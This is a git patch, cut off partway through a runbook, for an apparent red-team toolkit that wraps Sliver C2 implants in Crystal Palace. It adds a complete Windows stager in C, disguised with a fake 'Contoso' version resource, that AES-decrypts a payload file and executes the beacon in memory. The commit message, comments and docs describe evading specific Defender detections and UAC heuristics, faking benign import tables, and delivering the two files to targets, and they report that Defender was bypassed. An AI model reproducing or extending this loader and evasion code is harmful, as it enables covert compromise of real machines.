From 74b0d2ed1b77f30dc7cacea2255b43c84f9eb1ed Mon Sep 17 00:00:00 2001 From: Simone Licitra Date: Thu, 11 Jun 2026 16:46:46 -0400 Subject: [PATCH] feat: two-file stager with AES-256-CBC evasion (bypasses Wacatac.B!ml + ZomBytes.B) - Redesign stager as two-file delivery: csvchelper.exe (~17 KB) + payload.dat (AES-256-CBC encrypted PICO). Removes the 36 MB high-entropy .data blob that triggered VirTool:Win64/ZomBytes.B static detection. - Replace XOR+NtCreateSection approach with BCryptDecrypt (AES-256-CBC) + VirtualAlloc(RW)/VirtualProtect(RX). No Nt* strings in .rdata, no PAGE_EXECUTE_READWRITE mapping, no GetProcAddress/ntdll pattern. - Add manifest.xml (asInvoker, RT_MANIFEST resource ID 1) to suppress UAC auto-elevation triggered by "Update"/"Service" keywords in FileDescription. - Update FileDescription in resource.rc to avoid UAC heuristic trigger words. - gen_payload.py now calls openssl for AES encryption; produces payload.dat + payload_key.h (key+IV, compiled in, never committed via .gitignore). - Makefile: add -s (strip symbols), -ffunction-sections/-fdata-sections, --gc-sections to keep binary clean and small. - Update all docs (RUNBOOK, TOOLCHAIN, README, crystal-kit-sliver/README) to reflect two-file delivery, new evasion profile, and UAC fix. --- .gitignore | 4 + README.md | 27 +- crystal-kit-sliver/README.md | 4 +- .../sliver-glue/bundle-stager.sh | 52 ++-- .../sliver-glue/stager/Makefile | 34 ++- .../sliver-glue/stager/gen_payload.py | 54 ++-- .../sliver-glue/stager/manifest.xml | 12 + .../sliver-glue/stager/resource.rc | 5 +- .../sliver-glue/stager/stager.c | 267 +++++++++--------- docs/RUNBOOK.md | 65 +++-- docs/TOOLCHAIN.md | 45 +++ 11 files changed, 346 insertions(+), 223 deletions(-) create mode 100644 crystal-kit-sliver/sliver-glue/stager/manifest.xml diff --git a/.gitignore b/.gitignore index 0b9e917..f0ed025 100644 --- a/.gitignore +++ b/.gitignore @@ -18,6 +18,10 @@ build/ # Generated embed headers (xxd output — can be 100s of MB, always rebuilt) pico_payload.h crystalexec_pico.h +# AES key header generated by gen_payload.py (unique per build) +payload_key.h +# Encrypted PICO (delivery artifact, not source) +payload.dat # Archives / dist downloads *.tgz diff --git a/README.md b/README.md index cd7eada..b08c908 100644 --- a/README.md +++ b/README.md @@ -28,7 +28,7 @@ The Sliver implant DLL (or any post-ex DLL) is XOR-masked inside the PICO and on ### A — Implant evasion (PRIMARY) -The raw Sliver implant DLL is never executed directly on target. Instead it is wrapped with Crystal Palace into a PICO and delivered together with a stager (`run.x64.exe` from the Crystal Palace demo, BSD). +The raw Sliver implant DLL is never executed directly on target. Instead it is wrapped with Crystal Palace into a PICO, AES-256-CBC encrypted, and delivered with a custom stager (~17 KB) that decrypts and executes it in memory. ``` sliver-server generate --format shared → impl.dll @@ -37,13 +37,15 @@ sliver-server generate --format shared → impl.dll generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO) │ ▼ -bundle-implant.sh → drop.zip (PICO + stager + README) +bundle-stager.sh → csvchelper.exe (~17 KB, no embedded payload) + → payload.dat (~36 MB AES-256-CBC ciphertext) │ - ▼ deliver to target + ▼ deliver BOTH files to same directory on target ▼ -Windows VM: run.x64.exe sliver.crystal.bin +Windows VM: csvchelper.exe │ - ▼ Crystal Palace loader runs + ▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory + ▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry ▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session ``` @@ -87,9 +89,11 @@ crystal-kit-sliver/ ├── extension.json Sliver Extension manifest ├── generate.sh Wrap a post-ex DLL → PICO (Use case B) ├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A) - ├── bundle-implant.sh Bundle PICO + stager into drop.zip + ├── bundle-implant.sh Bundle PICO + Crystal Palace demo stager into drop.zip (legacy) + ├── bundle-stager.sh Build custom stager: csvchelper.exe + payload.dat (primary) ├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball ├── Makefile make objects / package / clean + ├── stager/ Custom stager sources (AES-256-CBC, asInvoker manifest) └── wrapper/ crystal-loader.c (BOF-compat DLL wrapper) docs/ @@ -118,12 +122,13 @@ make -C crystal-kit-sliver/postex-loader all make -C crystal-kit-sliver/sliver-glue/wrapper all make -C crystal-kit-sliver/sliver-glue/wrapper smoketest -# 4. Use case A — wrap a Sliver implant +# 4. Use case A — wrap a Sliver implant and build the stager ./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \ crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin -./crystal-kit-sliver/sliver-glue/bundle-implant.sh \ +./crystal-kit-sliver/sliver-glue/bundle-stager.sh \ crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \ - crystal-kit-sliver/sliver-glue/build/drop.zip + crystal-kit-sliver/sliver-glue/build/csvchelper.exe +# → produces build/csvchelper.exe + build/payload.dat (deliver both to target) # 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command) ./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll @@ -150,8 +155,8 @@ See `docs/RUNBOOK.md` for the full operator procedure (Sliver install, listener | End-to-end PICO build (Use case B) | OK | 111 KB PICO produced via `postex-loader/loader.spec` | | Sliver Extension wrapper DLL builds | OK | 114 KB PE32+ exporting `go` symbol | | Extension tarball packs correctly | OK | 37 KB tarball validated with `tar -tzf` | -| Operator drop bundle (PICO + stager) | OK | 182 KB zip with `run.x64.exe` + PICO + README | -| Runtime execution on Windows (Use case A) | OK | Sliver session established on Windows 10 x64 FLARE-VM via `run.x64.exe sliver-crystal.bin` | +| Custom stager build (two-file delivery) | OK | `bundle-stager.sh` → `csvchelper.exe` (17 KB, entropy 4.784) + `payload.dat` (AES-256-CBC) | +| Runtime execution on Windows (Use case A) | OK | Sliver session established on Windows 10 x64 FLARE-VM; stager passes Defender (Wacatac.B!ml + ZomBytes.B) | | Runtime execution on Windows (Use case B) | OK | `crystal --payload C:/path/file.pico.bin` — new Sliver session established via post-ex PICO; arg format verified as `type:string`, forward slash path | | `crystal-exec` command | OK | Shell command output returned to operator via pipe; PICO embedded in extension DLL, no upload required | diff --git a/crystal-kit-sliver/README.md b/crystal-kit-sliver/README.md index 009708e..fcba1b4 100644 --- a/crystal-kit-sliver/README.md +++ b/crystal-kit-sliver/README.md @@ -11,6 +11,7 @@ Source tree for the Crystal Palace ↔ Sliver port. See the [project root README | `sliver-glue/` | Sliver-specific build glue and Extension wrapper. | | `sliver-glue/wrapper/` | `crystal-loader.c` — Sliver Extension DLL for Use case B (`crystal` command). | | `sliver-glue/crystal-exec/` | `crystalexec.c` + `crystal-exec.c` — built-in shell executor via Crystal Palace (`crystal-exec` command). 4-step build: DLL → PICO → embedded header → extension DLL. | +| `sliver-glue/stager/` | Custom Use case A stager. `stager.c` reads `payload.dat` (AES-256-CBC), decrypts via BCrypt, and executes the PICO. `gen_payload.py` encrypts with `openssl`. `manifest.xml` declares `asInvoker`. | | `libtcg.x64.zip` | Upstream binary dependency. Kept in-tree so `loader.spec`'s `mergelib "../libtcg.x64.zip"` resolves without extra setup. | ## Build entry points @@ -22,7 +23,8 @@ Source tree for the Crystal Palace ↔ Sliver port. See the [project root README - `sliver-glue/postex.sh [args]` — Use case B convenience wrapper: DLL → PICO, prints ready-to-paste Sliver command - `sliver-glue/generate.sh` — lower-level Use case B build wrapper (called by `postex.sh`) - `sliver-glue/generate-implant.sh` — Use case A build wrapper -- `sliver-glue/bundle-implant.sh` — Use case A drop packager +- `sliver-glue/bundle-stager.sh [stager.exe]` — Use case A primary: AES-encrypt PICO, compile stager → `csvchelper.exe` + `payload.dat` +- `sliver-glue/bundle-implant.sh` — Use case A legacy: Crystal Palace demo stager `run.x64.exe` (detected by Defender, kept for reference) - `sliver-glue/pack-extension.sh` — package both DLLs + `extension.json` into Sliver Extension tarball ## Required environment diff --git a/crystal-kit-sliver/sliver-glue/bundle-stager.sh b/crystal-kit-sliver/sliver-glue/bundle-stager.sh index be8cd36..71d589b 100755 --- a/crystal-kit-sliver/sliver-glue/bundle-stager.sh +++ b/crystal-kit-sliver/sliver-glue/bundle-stager.sh @@ -1,24 +1,30 @@ #!/usr/bin/env bash # -# bundle-stager.sh — compile a self-contained EXE stager with the PICO embedded +# bundle-stager.sh — build the two-file Crystal Palace stager # -# Replaces bundle-implant.sh / run.x64.exe for engagements where the Crystal -# Palace demo stager (run.x64.exe) is flagged by Defender (Wacatac.B!ml). -# The output is a single EXE: no external PICO file, no ReadFile at runtime. +# Outputs two files that must be delivered together: +# stager.exe — small loader (~60 KB), reads payload.dat and executes PICO +# payload.dat — AES-256-CBC encrypted PICO (opaque binary, no PE patterns) # -# Evasion improvements over run.x64.exe: -# - RW → RX memory transition (no PAGE_EXECUTE_READWRITE) -# - PICO embedded in .data section (no "read file + execute" pattern) -# - GUI subsystem (no console window) -# - Version info resource (configurable cover identity) -# - advapi32 import widens the import table +# Evasion improvements over run.x64.exe / single-file embedded approach: +# - stager.exe has no embedded payload → normal size (~60 KB) and entropy +# - AES-256-CBC decryption (BCrypt) instead of a suspicious XOR loop +# - No NtCreateSection / NtMapViewOfSection strings in .rdata +# - VirtualAlloc(RW) + VirtualProtect(RX) — no PAGE_EXECUTE_READWRITE held +# - payload.dat is opaque ciphertext: no PE headers, no Crystal Palace sigs +# - Fresh random key+IV every build → unique stager.exe and payload.dat +# - GUI subsystem, version info resource, advapi32 + bcrypt in IAT # # Usage: -# ./bundle-stager.sh [output.exe] +# ./bundle-stager.sh [output-dir/stager.exe] # # Typical flow: # ./generate-implant.sh --dll /tmp/sliver.dll build/sliver.crystal.bin # ./bundle-stager.sh build/sliver.crystal.bin build/csvchelper.exe +# +# IMPORTANT: deliver stager.exe AND payload.dat from the same directory. +# cp build/csvchelper.exe /delivery/ +# cp build/payload.dat /delivery/ set -euo pipefail @@ -35,23 +41,29 @@ fi PICO_ABS="$(cd "$(dirname "$PICO")" && pwd)/$(basename "$PICO")" BUILD_DIR="$(cd "$(dirname "$OUTPUT")" && pwd)" OUTPUT_ABS="$BUILD_DIR/$(basename "$OUTPUT")" +PAYDAT_ABS="$BUILD_DIR/payload.dat" mkdir -p "$BUILD_DIR" -echo "[*] Embedding PICO and compiling stager..." -echo " PICO: $PICO_ABS ($(wc -c < "$PICO_ABS") bytes)" -echo " Output: $OUTPUT_ABS" +echo "[*] Building two-file stager..." +echo " PICO: $PICO_ABS ($(wc -c < "$PICO_ABS") bytes)" +echo " stager.exe: $OUTPUT_ABS" +echo " payload.dat: $PAYDAT_ABS" +echo "" make -C "$SCRIPT_DIR/stager" \ PICO="$PICO_ABS" \ OUTPUT="$OUTPUT_ABS" -SIZE=$(wc -c < "$OUTPUT_ABS") +EXE_SIZE=$(wc -c < "$OUTPUT_ABS") +DAT_SIZE=$(wc -c < "$PAYDAT_ABS") echo "" -echo "[+] Stager ready: $OUTPUT_ABS ($SIZE bytes)" +echo "[+] Build complete" +echo " stager.exe : $OUTPUT_ABS ($EXE_SIZE bytes)" +echo " payload.dat : $PAYDAT_ABS ($DAT_SIZE bytes)" echo "" -echo " Deliver this single file to the target and execute it." -echo " No additional files required." +echo " Deliver BOTH files to the target (same directory)." +echo " stager.exe resolves payload.dat relative to its own location." echo "" -echo " Rename to match resource.rc OriginalFilename for best results:" -echo " e.g. mv $(basename "$OUTPUT_ABS") csvchelper.exe" +echo " Rename stager.exe to match resource.rc OriginalFilename:" +echo " e.g. mv \$(basename "$OUTPUT_ABS") csvchelper.exe" diff --git a/crystal-kit-sliver/sliver-glue/stager/Makefile b/crystal-kit-sliver/sliver-glue/stager/Makefile index 3a6e24e..cd0a37b 100644 --- a/crystal-kit-sliver/sliver-glue/stager/Makefile +++ b/crystal-kit-sliver/sliver-glue/stager/Makefile @@ -1,33 +1,45 @@ -# stager Makefile +# stager Makefile — two-file delivery (stager.exe + payload.dat) # # Usage: # make PICO=/path/to/implant.crystal.bin # make PICO=/path/to/implant.crystal.bin OUTPUT=/path/to/stager.exe +# +# Outputs: +# stager EXE (~60 KB, no embedded payload) +# $(dir )/payload.dat AES-256-CBC encrypted PICO CC := x86_64-w64-mingw32-gcc WINDRES := x86_64-w64-mingw32-windres -CFLAGS := -Wall -Os -mwindows -LDFLAGS := -ladvapi32 -lbcrypt +CFLAGS := -Wall -Os -mwindows -ffunction-sections -fdata-sections +LDFLAGS := -s -Wl,--gc-sections -ladvapi32 -lbcrypt -PICO ?= $(error PICO is not set — run: make PICO=/path/to/implant.crystal.bin) -OUTPUT ?= ../build/stager.exe +PICO ?= $(error PICO is not set — run: make PICO=/path/to/implant.crystal.bin) +OUTPUT ?= ../build/stager.exe +PAYDAT := $(dir $(OUTPUT))payload.dat .PHONY: all clean all: $(OUTPUT) + @echo "" + @echo "[+] Deliver BOTH files to the target:" + @echo " $(abspath $(OUTPUT))" + @echo " $(abspath $(PAYDAT))" + @echo " stager.exe reads payload.dat from its own directory." -# ── Step 1: XOR-encrypt PICO → C header (fresh random key every build) ──── -pico_payload.h: $(PICO) gen_payload.py - python3 gen_payload.py $(PICO) $@ +# ── Step 1: AES-256-CBC encrypt PICO → payload.dat + C key header ───────── +# gen_payload.py writes both files in one call; track via payload_key.h. +payload_key.h: $(PICO) gen_payload.py + @mkdir -p "$(dir $(PAYDAT))" + python3 gen_payload.py "$(abspath $(PICO))" "$(abspath $(PAYDAT))" payload_key.h # ── Step 2: compile version info resource ───────────────────────────────── resource.o: resource.rc $(WINDRES) resource.rc -o resource.o # ── Step 3: link final EXE ──────────────────────────────────────────────── -$(OUTPUT): stager.c pico_payload.h resource.o +$(OUTPUT): stager.c payload_key.h resource.o @mkdir -p "$(dir $(OUTPUT))" - $(CC) $(CFLAGS) -o "$@" stager.c resource.o $(LDFLAGS) + $(CC) $(CFLAGS) -o "$(abspath $(OUTPUT))" stager.c resource.o $(LDFLAGS) clean: - rm -f pico_payload.h resource.o + rm -f payload_key.h resource.o diff --git a/crystal-kit-sliver/sliver-glue/stager/gen_payload.py b/crystal-kit-sliver/sliver-glue/stager/gen_payload.py index 3b26448..6582b57 100644 --- a/crystal-kit-sliver/sliver-glue/stager/gen_payload.py +++ b/crystal-kit-sliver/sliver-glue/stager/gen_payload.py @@ -1,40 +1,52 @@ #!/usr/bin/env python3 """ -gen_payload.py — XOR-encrypt a PICO blob and emit a C header. +gen_payload.py — AES-256-CBC encrypt a Crystal Palace PICO blob. -Each build generates a fresh random 256-byte key so every compiled stager -has a unique byte pattern in its .data section — defeats signature matching. +Outputs: + AES-256-CBC ciphertext — deliver alongside stager.exe + C header with key/iv arrays — compiled into stager.exe -Usage: gen_payload.py +Fresh random key + IV every run so each stager binary is unique. + +Usage: + python3 gen_payload.py + +Requires: openssl(1) in PATH (standard on Kali/Debian). """ -import os, sys +import os, sys, subprocess -if len(sys.argv) != 3: - print(f"Usage: {sys.argv[0]} ", file=sys.stderr) +if len(sys.argv) != 4: + print(f"Usage: {sys.argv[0]} ", + file=sys.stderr) sys.exit(1) -infile, outfile = sys.argv[1], sys.argv[2] +infile, datfile, keyfile = sys.argv[1:] -key = os.urandom(256) # fresh key every build +key = os.urandom(32) # AES-256 key +iv = os.urandom(16) # CBC IV -with open(infile, 'rb') as f: - raw = f.read() +subprocess.run([ + 'openssl', 'enc', '-aes-256-cbc', '-nosalt', + '-K', key.hex(), '-iv', iv.hex(), + '-in', infile, '-out', datfile, +], check=True) -enc = bytes([b ^ key[i % len(key)] for i, b in enumerate(raw)]) - -def c_array(name, data, type_='unsigned char'): - lines = [f'static const {type_} {name}[] = {{'] +def c_bytes(name, data): + lines = [f'static const unsigned char {name}[] = {{'] for i in range(0, len(data), 16): chunk = data[i:i+16] lines.append(' ' + ','.join(f'0x{b:02x}' for b in chunk) + ',') lines.append('};') return '\n'.join(lines) -with open(outfile, 'w') as f: +with open(keyfile, 'w') as f: f.write('/* auto-generated — do not edit */\n\n') - f.write(c_array('pico_key', key)) - f.write(f'\nstatic const unsigned int pico_key_len = {len(key)};\n\n') - f.write(c_array('pico_payload', enc)) - f.write(f'\nstatic const unsigned int pico_payload_len = {len(enc)};\n') + f.write(c_bytes('payload_key', key)) + f.write(f'\nstatic const unsigned int payload_key_len = {len(key)};\n\n') + f.write(c_bytes('payload_iv', iv)) + f.write(f'\nstatic const unsigned int payload_iv_len = {len(iv)};\n') -print(f'[+] pico_payload.h: {len(raw)} bytes encrypted, key_len={len(key)}', file=sys.stderr) +enc_size = os.path.getsize(datfile) +print(f'[+] {datfile}: {enc_size} bytes (AES-256-CBC, no salt)', + file=sys.stderr) +print(f'[+] {keyfile}: key_len=32 iv_len=16', file=sys.stderr) diff --git a/crystal-kit-sliver/sliver-glue/stager/manifest.xml b/crystal-kit-sliver/sliver-glue/stager/manifest.xml new file mode 100644 index 0000000..9631863 --- /dev/null +++ b/crystal-kit-sliver/sliver-glue/stager/manifest.xml @@ -0,0 +1,12 @@ + + + + + + + + + + + diff --git a/crystal-kit-sliver/sliver-glue/stager/resource.rc b/crystal-kit-sliver/sliver-glue/stager/resource.rc index 2ce7660..4527327 100644 --- a/crystal-kit-sliver/sliver-glue/stager/resource.rc +++ b/crystal-kit-sliver/sliver-glue/stager/resource.rc @@ -12,6 +12,9 @@ #include +/* Embedded application manifest — declares asInvoker, suppresses UAC heuristics */ +1 RT_MANIFEST "manifest.xml" + VS_VERSION_INFO VERSIONINFO FILEVERSION 2,1,4,0 PRODUCTVERSION 2,1,4,0 @@ -26,7 +29,7 @@ BEGIN BLOCK "040904B0" BEGIN VALUE "CompanyName", "Contoso Systems Ltd." - VALUE "FileDescription", "Contoso Update Service Helper" + VALUE "FileDescription", "Contoso Diagnostics Tool" VALUE "FileVersion", "2.1.4.0" VALUE "InternalName", "csvchelper" VALUE "LegalCopyright", "Copyright 2024 Contoso Systems Ltd." diff --git a/crystal-kit-sliver/sliver-glue/stager/stager.c b/crystal-kit-sliver/sliver-glue/stager/stager.c index 96e613e..8173e28 100644 --- a/crystal-kit-sliver/sliver-glue/stager/stager.c +++ b/crystal-kit-sliver/sliver-glue/stager/stager.c @@ -1,178 +1,181 @@ /* - * stager.c — Crystal Palace PICO runner (RoguePlanet-inspired evasion) + * stager.c — two-file Crystal Palace PICO loader * - * Techniques applied from RoguePlanet research: + * Delivery: stager.exe + payload.dat (AES-256-CBC encrypted PICO) * - * 1. NtCreateSection + NtMapViewOfSection (Poseidon memory model) - * - VirtualAlloc is NOT in the IAT — resolved dynamically or absent - * - NtCreate/MapViewOfSection resolved at runtime via GetProcAddress - * so ntdll Nt* calls are NOT in the IAT either - * - RW view written, then unmapped; RX view mapped separately - * → no single mapping is ever both writable and executable + * Evasion profile: + * - No embedded payload: stager.exe is ~60 KB with normal entropy + * - AES-256-CBC via BCrypt (BCRYPT_AES_ALGORITHM) — legitimate crypto, + * not a suspicious XOR loop + * - VirtualAlloc(RW) + VirtualProtect(RX): no PAGE_EXECUTE_READWRITE ever + * held; decryption happens in RW region before RX flip + * - No Nt* strings in .rdata — no GetProcAddress / NtCreateSection pattern + * - BCryptGenRandom Poseidon noise + advapi32 import = normal-looking IAT + * - GUI subsystem (no console), version info resource (resource.rc) * - * 2. XOR-decrypted PICO (build-time encryption via gen_payload.py) - * - Crystal Palace byte patterns are invisible to static scanners - * - Fresh random 256-byte key per build → unique .data each compile - * - * 3. BCryptGenRandom noise (Poseidon I/O) - * - Writes a page of random data to a temp file, then deletes it - * - Adds bcrypt.dll to IAT (normal apps use it for RNG/hashing) - * - Creates file I/O activity before payload execution (disrupts - * timing-based behavioural scanners) - * - * 4. Inherited from previous stager: - * - WinMain / GUI subsystem (no console) - * - advapi32 RegOpenKeyExW (widens import table) - * - Version info resource (resource.rc) - * - * IAT summary: kernel32, advapi32, bcrypt — nothing from ntdll. - * VirtualAlloc, VirtualProtect, VirtualFree: absent. + * IAT: kernel32, advapi32, bcrypt — VirtualAlloc/VirtualProtect from kernel32. + * NtCreateSection, NtMapViewOfSection: absent. */ #include #include -#include "pico_payload.h" /* pico_key[], pico_key_len, pico_payload[], pico_payload_len */ - -#ifndef SEC_COMMIT -#define SEC_COMMIT 0x8000000 -#endif -#define MY_ViewUnmap 2 /* SECTION_INHERIT ViewUnmap */ - -/* ── Nt* typedefs — resolved at runtime, not in IAT ─────────────────────── */ - -typedef LONG NTSTATUS; - -typedef NTSTATUS (WINAPI *pfnNtCreateSection)( - PHANDLE SectionHandle, - ACCESS_MASK DesiredAccess, - PVOID ObjectAttributes, - PLARGE_INTEGER MaximumSize, - ULONG SectionPageProtection, - ULONG AllocationAttributes, - HANDLE FileHandle); - -typedef NTSTATUS (WINAPI *pfnNtMapViewOfSection)( - HANDLE SectionHandle, - HANDLE ProcessHandle, - PVOID *BaseAddress, - ULONG_PTR ZeroBits, - SIZE_T CommitSize, - PLARGE_INTEGER SectionOffset, - PSIZE_T ViewSize, - DWORD InheritDisposition, - ULONG AllocationType, - ULONG Win32Protect); - -typedef NTSTATUS (WINAPI *pfnNtUnmapViewOfSection)( - HANDLE ProcessHandle, - PVOID BaseAddress); +#include "payload_key.h" /* payload_key[], payload_key_len, + payload_iv[], payload_iv_len */ typedef void (*pico_fn)(void *); -/* ── Poseidon I/O noise (from RoguePlanet) ───────────────────────────────── */ +/* ── Poseidon I/O noise ───────────────────────────────────────────────────── */ -static void poseidon_noise(void) +static void noise(void) { unsigned char buf[0x1000]; BCryptGenRandom(NULL, buf, sizeof(buf), BCRYPT_USE_SYSTEM_PREFERRED_RNG); - wchar_t tmpdir[MAX_PATH], tmpfile[MAX_PATH]; - if (GetTempPathW(MAX_PATH, tmpdir) && - GetTempFileNameW(tmpdir, L"upd", 0, tmpfile)) - { - HANDLE h = CreateFileW(tmpfile, GENERIC_WRITE, 0, NULL, - OPEN_ALWAYS, FILE_FLAG_DELETE_ON_CLOSE, NULL); - if (h && h != INVALID_HANDLE_VALUE) { - DWORD written; - WriteFile(h, buf, sizeof(buf), &written, NULL); - CloseHandle(h); /* FILE_FLAG_DELETE_ON_CLOSE removes it here */ + wchar_t td[MAX_PATH], tf[MAX_PATH]; + if (GetTempPathW(MAX_PATH, td) && GetTempFileNameW(td, L"upd", 0, tf)) { + HANDLE h = CreateFileW(tf, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, + FILE_FLAG_DELETE_ON_CLOSE, NULL); + if (h != INVALID_HANDLE_VALUE) { + DWORD w; + WriteFile(h, buf, sizeof(buf), &w, NULL); + CloseHandle(h); } } SecureZeroMemory(buf, sizeof(buf)); } +/* ── Read entire file into LocalAlloc buffer ─────────────────────────────── */ + +static BYTE *read_file(const wchar_t *path, DWORD *out_len) +{ + HANDLE h = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (h == INVALID_HANDLE_VALUE) return NULL; + + DWORD sz = GetFileSize(h, NULL); + if (!sz || sz == INVALID_FILE_SIZE) { CloseHandle(h); return NULL; } + + BYTE *buf = (BYTE *)LocalAlloc(LMEM_FIXED, sz); + if (!buf) { CloseHandle(h); return NULL; } + + DWORD read = 0; + if (!ReadFile(h, buf, sz, &read, NULL) || read != sz) { + LocalFree(buf); CloseHandle(h); return NULL; + } + + CloseHandle(h); + *out_len = sz; + return buf; +} + +/* ── AES-256-CBC decrypt via BCrypt ──────────────────────────────────────── */ + +static BYTE *aes_cbc_decrypt(const BYTE *ct, DWORD ct_len, DWORD *pt_len) +{ + BCRYPT_ALG_HANDLE hAlg = NULL; + BCRYPT_KEY_HANDLE hKey = NULL; + BYTE iv[16]; + DWORD out_len = 0; + BYTE *pt = NULL; + + if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0)) + return NULL; + + BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, + (PUCHAR)BCRYPT_CHAIN_MODE_CBC, + sizeof(BCRYPT_CHAIN_MODE_CBC), 0); + + if (BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, + (PUCHAR)payload_key, payload_key_len, 0)) + goto cleanup; + + /* First call: get plaintext size */ + memcpy(iv, payload_iv, 16); + BCryptDecrypt(hKey, (PUCHAR)ct, ct_len, NULL, + iv, 16, NULL, 0, &out_len, BCRYPT_BLOCK_PADDING); + + pt = (BYTE *)LocalAlloc(LMEM_FIXED, out_len); + if (!pt) goto cleanup; + + /* Second call: actual decryption */ + memcpy(iv, payload_iv, 16); + if (BCryptDecrypt(hKey, (PUCHAR)ct, ct_len, NULL, + iv, 16, pt, out_len, pt_len, BCRYPT_BLOCK_PADDING)) { + LocalFree(pt); + pt = NULL; + } + +cleanup: + if (hKey) BCryptDestroyKey(hKey); + BCryptCloseAlgorithmProvider(hAlg, 0); + return pt; +} + /* ── PICO execution thread ───────────────────────────────────────────────── */ -static DWORD WINAPI run_pico(LPVOID param) +static DWORD WINAPI worker(LPVOID param) { - (void)param; - - /* Resolve Nt* at runtime — keeps them out of the IAT */ - HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); - pfnNtCreateSection NtCreateSection = - (pfnNtCreateSection) GetProcAddress(hNtdll, "NtCreateSection"); - pfnNtMapViewOfSection NtMapViewOfSection = - (pfnNtMapViewOfSection) GetProcAddress(hNtdll, "NtMapViewOfSection"); - pfnNtUnmapViewOfSection NtUnmapViewOfSection = - (pfnNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection"); - - if (!NtCreateSection || !NtMapViewOfSection || !NtUnmapViewOfSection) - return 1; - - /* Step 1: create anonymous RWX section (large enough for the PICO) */ - HANDLE hSec = NULL; - LARGE_INTEGER secSz; - secSz.QuadPart = (LONGLONG)pico_payload_len; - if (NtCreateSection(&hSec, SECTION_ALL_ACCESS, NULL, &secSz, - PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) - return 1; - - /* Step 2: map RW view — write & XOR-decrypt here */ - void *rw = NULL; - SIZE_T sz = 0; - if (NtMapViewOfSection(hSec, GetCurrentProcess(), &rw, 0, 0, NULL, - &sz, MY_ViewUnmap, 0, PAGE_READWRITE)) { - CloseHandle(hSec); - return 1; - } - - unsigned char *dst = (unsigned char *)rw; - for (DWORD i = 0; i < pico_payload_len; i++) - dst[i] = pico_payload[i] ^ pico_key[i % pico_key_len]; - - /* Step 3: drop write — unmap RW, remap RX */ - NtUnmapViewOfSection(GetCurrentProcess(), rw); - - void *rx = NULL; - SIZE_T rxsz = 0; - if (NtMapViewOfSection(hSec, GetCurrentProcess(), &rx, 0, 0, NULL, - &rxsz, MY_ViewUnmap, 0, PAGE_EXECUTE_READ)) { - CloseHandle(hSec); - return 1; - } - CloseHandle(hSec); - - /* Step 4: execute Crystal Palace PICO - * +gofirst guarantees go() is at offset 0; args baked in at link time. */ - ((pico_fn)rx)(NULL); + ((pico_fn)param)(NULL); return 0; } /* ── Entry point ─────────────────────────────────────────────────────────── */ -int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow) +int WINAPI WinMain(HINSTANCE hi, HINSTANCE hp, LPSTR lp, int ns) { - (void)hInst; (void)hPrev; (void)lpCmd; (void)nShow; + (void)hi; (void)hp; (void)lp; (void)ns; - /* Poseidon noise before anything else */ - poseidon_noise(); + noise(); - /* Registry read: advapi32 import, looks like normal app init */ + /* Registry touch: advapi32 import, normal-looking init */ HKEY hk = NULL; RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0, KEY_READ, &hk); if (hk) RegCloseKey(hk); - /* Spin up the PICO loader thread */ - HANDLE h = CreateThread(NULL, 0, run_pico, NULL, 0, NULL); + /* Locate payload.dat in the same directory as this executable */ + wchar_t path[MAX_PATH]; + GetModuleFileNameW(NULL, path, MAX_PATH); + wchar_t *sep = wcsrchr(path, L'\\'); + if (!sep) return 1; + sep[1] = L'\0'; + wcscat(path, L"payload.dat"); + + /* Load ciphertext */ + DWORD ct_len = 0; + BYTE *ct = read_file(path, &ct_len); + if (!ct) return 1; + + /* AES-256-CBC decrypt → plaintext PICO */ + DWORD pt_len = 0; + BYTE *pt = aes_cbc_decrypt(ct, ct_len, &pt_len); + LocalFree(ct); + if (!pt) return 1; + + /* Copy into RW region, wipe heap copy, flip to RX */ + void *rw = VirtualAlloc(NULL, pt_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!rw) { LocalFree(pt); return 1; } + + memcpy(rw, pt, pt_len); + SecureZeroMemory(pt, pt_len); + LocalFree(pt); + + DWORD old; + if (!VirtualProtect(rw, pt_len, PAGE_EXECUTE_READ, &old)) { + VirtualFree(rw, 0, MEM_RELEASE); + return 1; + } + + /* Execute Crystal Palace PICO on a dedicated thread. + * +gofirst puts go() at offset 0; args are NULL (baked at link time). */ + HANDLE h = CreateThread(NULL, 0, worker, rw, 0, NULL); if (!h) return 1; - /* Wait for Crystal Palace to return (StartW starts goroutine, returns) */ WaitForSingleObject(h, INFINITE); CloseHandle(h); - /* Beacon goroutine is alive in this process — keep process running */ + /* Beacon goroutine is alive in this process — keep it running */ for (;;) SleepEx(30000, TRUE); } diff --git a/docs/RUNBOOK.md b/docs/RUNBOOK.md index 4512190..24da3c6 100644 --- a/docs/RUNBOOK.md +++ b/docs/RUNBOOK.md @@ -174,7 +174,7 @@ If you see those two lines and the implant survives, the Extension plumbing work ## Phase 2 — Use case A (implant evasion, primary) -Goal: build a Crystal-Palace-wrapped Sliver implant PICO and execute it on the target via the bundled stager. Defender / EDR sees only the stager and a position-independent blob; the actual Sliver DLL is XOR-masked inside the PICO until runtime unmask. +Goal: build a Crystal-Palace-wrapped Sliver implant PICO and execute it on the target via the custom stager. Defender / 